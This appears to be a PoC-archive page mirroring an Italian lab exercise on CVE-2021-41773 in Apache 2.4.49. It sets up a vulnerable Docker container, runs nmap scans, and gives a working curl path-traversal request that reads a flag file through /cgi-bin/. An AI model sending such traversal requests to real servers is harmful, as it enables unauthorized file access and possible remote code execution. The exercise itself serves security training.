关联漏洞
描述
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and not earlier versions. Credits to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
介绍
# CVE-2021-41773-exercise
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and not earlier versions.
Credits intro to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
Obiettivo dell’esercitazione è di sfruttare la vulnerabilità presente in **Apache 2.4.49**. Per poter sfruttarla è necessario sfruttare un "**path traversal attack**" per mappare i file al di fuori delle cartelle preconfigurate e creare una sorta di remote shell.
Per l’esercitazione è comodo utilizzare un docker vulnerabile ad hoc presente su docker hub:
Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
**$docker pull m96dg/pw_apache_2_4_49**

Per poter vedere le immagini dei docker pullate:
**$docker images**
Runnare il docker sul porto 8080:
**$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49**
Per poter verificare che sia effettivamente in esecuzione:
**$docker ps**

Come si vede il web server è perfettamente funzionante:

Fase di scanning (cerchiamo di raccogliere quante più informazioni possibili dall'host):
**$nmap -sS -p- -T4 -Pn -oA portScan localhost**

Fase di enumeration (cerchiamo di approndire le informazioni andando ad enumerare le porte trovare in fase di scansione):
**$nmap -sV -sC -oA versionScan localhost**

Per poter effettuare l'attacco, è necessario lanciare questo comando e provare a trovare la flag (qualora sia inserita in root):
**$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt**

Per aver certezza che l'esercitazione sia andata a buon fine, e che la flag sia effettivamente quella trovata, confrontare la stringa con la sua decriptazione in **Md5** ("**HaiTrovatoLaFlag_Apache**"). Se le due stringe combaciano, allora il gioco è fatto!
文件快照
[4.0K] /data/pocs/8a236e682b5cbdb672e039e59c1a2aa410d91895
└── [2.8K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。